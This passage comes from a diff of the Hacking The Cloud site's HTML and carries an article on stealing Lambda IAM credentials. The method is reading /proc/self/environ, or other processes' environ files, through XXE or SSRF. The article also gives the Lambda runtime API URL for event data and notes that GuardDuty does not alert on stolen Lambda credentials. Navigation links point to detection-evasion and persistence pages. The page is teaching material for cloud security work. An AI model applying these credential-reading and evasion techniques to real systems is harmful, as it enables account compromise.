</span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/lambda-steal-iam-credentials.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=steal-iam-credentials-and-event-data-from-lambda>Steal IAM Credentials and Event Data from Lambda<a class=headerlink href=#steal-iam-credentials-and-event-data-from-lambda title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-10 5h-2v-2h2zm0-4h-2V7h2z"/></svg></span> <strong>Technique seen in the wild</strong></p> <hr> <p>Reference: <a href=https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/#post-125981-_kdq0vw6banab>Compromised Cloud Compute Credentials: Case Studies From the Wild</a></p> </li> </ul> </div> <p>In Lambda, IAM credentials are passed into the function via environment variables. The benefit for the adversary is that these credentials can be leaked via file read vulnerabilities such as <a href=https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A4-XML_External_Entities_(XXE)>XML External Entity</a> attacks or SSRF that allows the file protocol. This is because "<a href=https://en.wikipedia.org/wiki/Everything_is_a_file>everything is a file</a>".</p> <p>IAM credentials can be accessed via reading <code>/proc/self/environ</code>.</p> <figure> <p><a class=glightbox href=../../../images/aws/exploitation/lambda-steal-iam-credentials/credentials.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt=Credentials loading=lazy src=../../../images/aws/exploitation/lambda-steal-iam-credentials/credentials.png></a></p> </figure> <div class="admonition note"> <p class=admonition-title>Note</p> <p>In the event that /proc/self/environ is blocked by a WAF, check if you can read the environment variables of other processes. This can be done by reading /proc/#/environ where '#' is some number often between 1 and 20.</p> </div> <p>In addition to IAM credentials, Lambda functions also have event data that is passed to the function when it is started. This data is made available to the function via the <a href=https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html>runtime interface</a>. Unlike IAM credentials, this data is accessible over standard SSRF at <code>http://169.254.100.1:9001/2018-06-01/runtime/invocation/next</code>. Additionally the environment variable <code>AWS_LAMBDA_RUNTIME_API</code> stores the IP address and port of the runtime interface as well.</p> <p>This will include information about what invoked the Lambda function and may be valuable depending on the context.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>Unlike IAM credentials associated with EC2 instances, there is no <a href=https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ >GuardDuty</a> alert for stolen Lambda credentials.</p> </div> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">August 20, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">August 12, 2020</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/aws/exploitation/local_ec2_priv_esc_through_user_data/index.html b/aws/exploitation/local_ec2_priv_esc_through_user_data/index.html
index 7c650d16a..77356f621 100644
--- a/aws/exploitation/local_ec2_priv_esc_through_user_data/index.html
+++ b/aws/exploitation/local_ec2_priv_esc_through_user_data/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to escalate privileges on an EC2 instance by abusing user data."><link href=https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ rel=canonical><link href=../lambda-steal-iam-credentials/ rel=prev><link href=../orphaned_cloudfront_or_dns_takeover_via_s3/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>EC2 Privilege Escalation Through User Data - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet 